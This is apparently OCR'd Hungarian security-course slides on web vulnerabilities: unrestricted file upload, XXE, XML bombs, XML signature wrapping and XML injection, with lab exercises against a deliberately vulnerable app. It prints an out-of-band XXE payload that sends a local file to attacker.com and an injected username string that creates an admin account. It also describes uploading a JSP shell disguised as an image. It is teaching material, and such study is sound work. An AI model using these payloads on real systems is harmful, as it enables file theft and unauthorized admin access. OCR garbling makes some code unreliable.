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Biztonsagos konfiguracié

@ Példaul elérhetetlenné kell tenned a web.xml-ben Iévé
kényvtarakat

<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</paran-name>
<param-value>@</param-value>
</init-param>

<init-param> N1/
<param-name>1istings</param-name> iss
<param-value>true</paran-value>
</init-param>

<load-on-startup>1</load-on-startup>
</servlet>

Ennek a téves konfiguraciénak a kdvetkezményei nem tul stlyosak
- mikézben a tamado ezt felhasznalhatja a webappon beliili
kdnyvtarak feltérképezésére, a META-INF és a WEB-INF védett
kdnyvtarai hozzaférhetetlenek lesznek.
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Nem biztonsagos féjl felt6ltés

@ A fajlok felt6ltése rendkivil kritikus funkcio

o Veszélyes fajlok kerllhetnek a szerverre: executables (jsp),
binaries, ...

o Megfeleld ellenbrzéssel meg kell ezt akadalyozni.

e Azonban, ha egy fajl feltdlthetd, és a szerveren egy olyan
helyen talalhat6, amelyet a tdmado ismer vagy képes
detektalni.

@ A nem konfiguralt vagy a nem megfeleléen konfiguralt
hozzaférés-vezérlés esetén el lehet érni a Weben keresztll
@ Rendkivil veszélyes, ha a feltdltott fajl végrehajthaté - tavoli
kodfuttatashoz vezethet (RCE)
@ Lehetséges tamadasok fajlfeltdltés révén

o Futtasson tetsz6leges kddot egy executable/script
segitségével

e Példaul nyisson meg egy shellt a szerverhez
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A legnagyobb veszély amikor a tdmado fel tudott télteni egy
végrehajthato fajlt (jsp), majd végrehajtja azt a megfelelé URL
megnyitasava, i.e. http://site.com/attacker/attack

Formalis definicio:
https://cwe.mitre.org/data/definitions/434.html

OWASP definicio:
https://www.owasp.org/index.php/Unrestricted_File_Upload
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Gyakorlat - Futtathaté fajlok feltdltése

@ Jelentkezzen be, és adjon hozza egy U] autét egy
rosszindulatu "képpel”
e Toltsén ki néhany adatot, majd valassza az Add lehetdséget,
majd label utan Click Add to upload your photos
e Add hozza a cmd.jsp hamis képként az attacker mappabol(
C:/Ex/WebExample_jsp/Attacker_com), majd nyomd meg a
Submit gombot
o A fajl feltltésre kerll, de a kép konvertalasa meghiusul
@ Nézd meg a hibalizenetet
e A hibalizenet megmondja a fajl tarolasanak utvonalat:
/var/lib/tomcat7/webapps/Insecar/ROOT/WEB-
INF/classes/offline/{ID}/0.jsp
e Ellendrizd az URL-eket a http://www.insecar.com/robots.txt
oldalon
@ Megmutatja a jsp szkriptek végrehajtasanak modjat a webapp
kdnyvtarbdl!
@ Most hajtsa végre a feltéltott jsp fajit
e http://www.insecar.com/view?name=/classes/offline/ID/0
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Gyakorlat - Futtathaté fajlok feltdltése

cmd.jsp fel lett téltve a kbvetkezdhoz::

Mi tértént a cmd.jsp megnyitasa utan:
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Feltoltések szlirése - validalas és konfiguralas

@ Jellemzben gyenge védelmek - bar nem hatékonyak, de a
védelem els6 rétegeként funkcionalhat
o A fajlkiterjesztések szlirése - de ez lehet hamisitott is
@ A tovabbi sebezhetéséget eredményezhet a szerveroldal
atnevezés
o MIME tipus szlirése - de ezt a felt6ltd Ggyfél hatarozza meg
o Allitsa be egyértelmiien a fajinevet/kiterjesztést a szerveren -
de a tAmaddk ezt megtanulhatjak.
@ Legjobb gyakorlat
o Prébalja meg feldolgozni a fajlt, a tipusnak megfeleld
funkciodkkal
@ A hiba vagy kivétel a hibasan formazott fajl jelenlétére utal
o A képfeltdltések esetében ez altaldban "ingyenes”: az
Ujramintavételezés a tarolt kép fajlméretének korlatozasa
érdekében torténik.

@ A webszerver konfiguralasa ugy, hogy minden fajira
alkalmazni kell a megfelelé hozzaférés-vezérlést
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Létezik néhany moédszer az Ggynevezett Polyglot fajlok
létrehozasara: olyan fajlok, amelynek példanyai tobb
formatumban is érvényesek (példaul egy ZIP f4jl, amely
PDF-ként is érvényes).

Nyilvanvald, hogy az ilyen fajlokat hasznalé tamad6 énmagaban
haszontalanna tenné a tipusnak megfelelé védekezést, &am egy
egyszerli mivelet végrehajtasaval (példaul a kép atméretezésével)
az ilyen tamadasok jelentésen nehezebbé valnak.

OWASP:

Link

A fajl érvényesitésének prototipus példaja:
Link

Polyglot fajlok:

Link
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XML kiils6 entitéas (XXE)

XML kils6 entitas (XXE)
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XML entitas bevezetés

@ Document Type Definition (DTD) meghatarozza, hogy az
elemek és hivatkozasok hogyan jelenjenek meg
o DTD deklaralhat entitadsokat olyan valtozok meghatarozasara,
amelyek késdbb felhasznalhatok

@ Entitas tipusok

o Elbre definialt entitasok: a specidlis karakterek
emlékezeterdsitd alias-ra utal (Ehhez escaping-et hasznélni,
mint pl. It vagy gt és alkalmazni mint &lt; és &gt;)

o Rendszeres entitasok: olyan belsé erbforrasokra hivatkoznak,
amelyek egyszeri( szdveges helyettesitéseket hasznalnak

o Kilsd entitasok: kulsé forrasokra utalnak
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El6re definialt entitasok

It - kisebb mint jel (<), hasznalat: &lt;

gt - a nagyobb mint jel (>)

amp - az ampersand (&)

apos - az egyes idézet vagy aposztréf(’)

quot- a kettds idézet jel (")

+ karakter entitasok referenciai HTML-ben: A HTML 4
DTDs meghataroz 252 entitas nevet, hivatkozasok, amelyek

bizonyos Unicode karaktereknél emlékezeterdsitd alias-ként
mikddnek(példa: copy for ©, i.e. U+00A9 / 169).
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Klils6 entitasok: hivatkozas lehet egy fajlra, vagy akar egy HTTP
kérésre, amelynek eredménye az entitds értékeként beagyazddik
az XML-be. A DTD-t eredetileg Ugy tervezték, hogy az XML
dokumentumok formatumanak érvényesitésére szolgaljon. Van
azonban néhany kevésbé hasznalt DTD-funkcid, amely varatlan
miveletekhez vezethet az XML-dokumentum elemzésekor - és
mint altalaban, a sebezhetéség a kevésbé hasznalt funkciokbol
szarmazik.

A DTD és az entitashoz kapcsol6dd tamadasok attekintése:
Link
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XML kils6 entitds tamadas (XXE) - erdforras-beillesztés

@ A Kkuls6 entitas lehetdvé teszi a fajltartalom beillesztését az
XML-be

o Ez lehetbvé teszi az XML kiils6 entitas tAmadasat (XXE)

@ A fajltartalom megszerzéséhez a tAmadonak képesnek kell
lennie az eredmény olvasésara, példaul:

e Tarolja a tartalmat egy olyan XML mezében, amelyhez a
felhasznal6 késdbb hozzaférhet
e Vagy kildje el a fajl tartalmat a tamadé szerverére

<?xml version="1.8" encoding="utf-8"?>
<IDOCTYPE updateProfile [

<!ENTITY xxe SYSTEM "file://c:/secret.txt">
>

<updateProfile>

«firstname>Joe</firstname>
<lastname>&xxe;</lastname> ...
</updateProfile>
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XML kilsé entitds tamadas (XXE) - paraméter entitasok

@ A paraméter entitasok csak a DTD meghatarozasan belul
hasznéalhatok, és jobban hasznalhatéak, mint a kédmakrdk

@ A paraméter entitasokat tovabbi % jel segitségével lehet
meghatarozni

@ A tamado felhasznalhatja a fajl tartalmanak tavoli
DTD-meghatarozassal torténd elklldésére.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<IENTITY % file SYSTEM "file://c:/secret.txt">
<IENTITY % incl SYSTEM “http://attacker.com/my.dtd">
%incl; ]>
<roottag>&send;</roottag>

* Content of the my.dtd file

<?xml version="1.0" encoding="UTF-8"?>
<IENTITY % all "<IENTITY send SYSTEM 'http://attacker.com/?%file;'>">
%all;
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Természetesen sok egyéb XXE alkalmazas létezik; Példaul, ha
egy fajlra hivatkozik EOF nélkull (példaul /dev /random Linuxon),
akkor DoS létrejohet.

A DTD és az entitdshoz kapcsol6déd tamadasok atfogd attekintése:
Link

Egy utmutatd az XXE sérllékenységek azonositasara:
Link

Olah Norbert Halad6 Adatbiztonsag


http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
https://blog.bugcrowd.com/advice-from-a-researcher-xxe/

OWASP Top Ten 2021
000000000000000800000000000

A my.dtd fajl hasznalatanak elénye, hogy a tamadé
megvaltoztathatja a miiveletet menet kdzben, anélkiil, hogy Uj
XML f4jlt kellene feltéltenie.

Ertekezés arrél, hogyan lehetne a paraméter entitidsokat hasznalni
a XXE-ben:

https://youtu.be/eHSNT8vWLfc?t=537

Valos példa a paraméter entitasok kiaknazasanak térténé
felhasznalasara:

Link
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Feladat - XXE tdAmadas

@ Vizsgald meg a tartalmat http://www.attacker.com/xml/xxe.xml

e Mi térténik, ha ezt végrehajtjuk?
@ Nyisd meg a http://www.insecar.com/ -t

e Jelentkezz be barmelyik felhasznaléhoz

e Menj a Services — Submit an ad, valaszd ki az Add XML -t

e Vaélaszd ki az xxe.xml amelyet megtalélsz
/WebExample_jsp/Attacker_com/web/xml helyen

e Kattints a Submit -ra

@ Ellentrizd az importalt autot a Browse mendpont alatt
(Toyota haxxed néven)

e Nézd meg a kommentet

Mi tértént miutan beimportaltad az XML-t?
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Esettanulmany - XXE in Google Toolbar

= Google Toolbar button gallery Google  heloworid
= Allowed developers to
create new buttons by
uploading XML files containing
various metadata
= Until 2014 the XML parser
blindly interpreted the DTD
of any user crafted XML
= Possible consequences

= | ocal file access

= SSRF

= Remote file includes
B d

L DDS h::ihlilr: detectify com/post/82370846588/how-we-
got-read-access-on-googles-production

= Remote code execution (RCE)

Elemzés: Link
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Esettanulmany - XXE in Google Toolbar
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Feladat - XML bomb

@ Vizgélja meg a http://attacker.com/xml/bomb.xml oldal
tartalmat

Csak kattintson ra, és tekintse meg az oldal forrasat
Mi toérténik, ha ezt végrehajtjuk?

@ Nyisd meg a Task Manager
@ Nyisd meg a hittp://www.insecar.com/

Jelentkezz be egy felhasznaléval (példaul admin /
adminadmin)

Valaszd ki Services — Submit an ad

Kattints Add XML

Vélaszd ki a bomb.xml az alabbi helyrél
C:/Ex/WebExample_jsp/Attacker_com/web/xml
Vagy csak hasznald az Attacker kdnyvjelz6t
Kattints a Submit

Figyeld a memdria hasznalatot

Mi tértént az XML importalasa utan?
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XML dokumentumok alairasa - Vedd észre a hibat!

@ A digitalis alairas igazolhatja az XML dokumentumok és
Uizenetek vagy azok részeinek hitelességét

<order>
<item>
<name>Pencil</name>
«price ID="p1">$1</price>
</item>
<item>
<name>Laptop</name>
<price ID="p2">$256@</price>
</item>
</order>

<signature..
<Reference .. URI="#p1">

</Reference>
<Reference .. URI="#p2">

</Reference>
</signature>

<order>
<item>
<name>Pencil</name>
<price ID="p2">$256@</price>
</item>
<item>

<name>Laptop</name>
<price ID="p1">$1</price>
</item>
</order>

<signature..

<Reference .. URI="#p1">

</Reference>
<Reference .. URI="#p2">

</Reference>
</signature>

@ Trividlis? Az XML melyik részét irjuk ala?
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Feladat - XML injektalas

@ Nyisd meg a http://www.insecar.com oldalt és Iépj be az
admin felhasznaloval

@ Exportald az adatbazist

Menj az Admin — Backup

Vélaszd az Export SQL database to XML

o
e Nyisd meg az eredményt a database_backup.xml
o Ellendrizd a tartalmat

@ Ha az exportalas sikertelen, van valamilyen (érvénytelen)
XML valahol a DB-ben

e Tordld a sértd elemet (Admin — Manage all ads)
e ... vagy allitsd vissza az adatbazist (lasd manual)
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Feladat - XML injektalas

@ Nyissa meg az Insecar projektet az IntelliJ-ben
© Nyissa meg a SETTINGS osztalyt

© Allitsa "/RECREATE_DATABASE” értékét true-ra
© Telepitse Ujra az Insecar webapp alkalmazasat
© Allitsa "/RECREATE_DATABASE” értékét hamisra
Q Telepitse Ujra az Insecar webapp alkalmazasat
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Feladat - XML injektalas

@ Ellenbrizze a injektalas esetleges sebezhetdségét

o Ki tudjuk-e "break out™olni az XML-strukturat injektalassal?
@ Kijelentkezés és U] felhasznalé Iétrehozasa (regisztracio)

e irja be a kdvetkezd szdveget felhasznalénévként:

hacked</username></entry><entry><firstName>Hacked</firstName><
lastName>Admin</lastName><password>newadmin123</password><regi
strationDate

type="datetime">2013-03-07 03:13:37</registrationDate><id>1337
¢/id><isAdmin>1</isAdmin><messageFilter/><credit>999¢/credit><
email>root@attacker.com¢/emaily><username>newadmin

@ Megtalalhatod ezt http://attacker.com/xml, oldalon, a file neve
injection.txt
@ Toltse ki a tébbi mezét normalisan
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Feladat - XML injektalas

@ Jelentkezzen ki, majd jelentkezzen be Ujra mint admin
e Ajelszé az ’adminadmin’, vagy be tudsz jelentkezi mas mddon
)
@ Inditsd az injektalast
e Mikdzben be van jelentkezve rendszergazdaként, valassza a
lehetoséget Admin — Backup
e Ujra exportalja az adatbazist: Export SQL database to XML
@ Mentsd el pl. database_backup2.xml
e Kattints az Import SQL database from XML, valaszd ki a

database_backup2.xml arrél a helyrél, ahova letdltdtied
o Ellendrizd a felhasznalok listajat (Admin — Manage users)

@ Valami nincs rendben?
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Feladat - XML injektalas

@ Ellenbérizd az eredményt
e Ellendrizd, hogy két Uj bejegyzés hozz4 van-e adva (annak
ellenére, hogy csak egyet exportaltunk)!)
e Ellendrizd, hogy az Uj felhasznald, newadmin hozza van adva
(jelentkezzen be a felhasznalénévvel newadmin és a jelszé
newadmini23)
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Kbészdndm a figyelmet!
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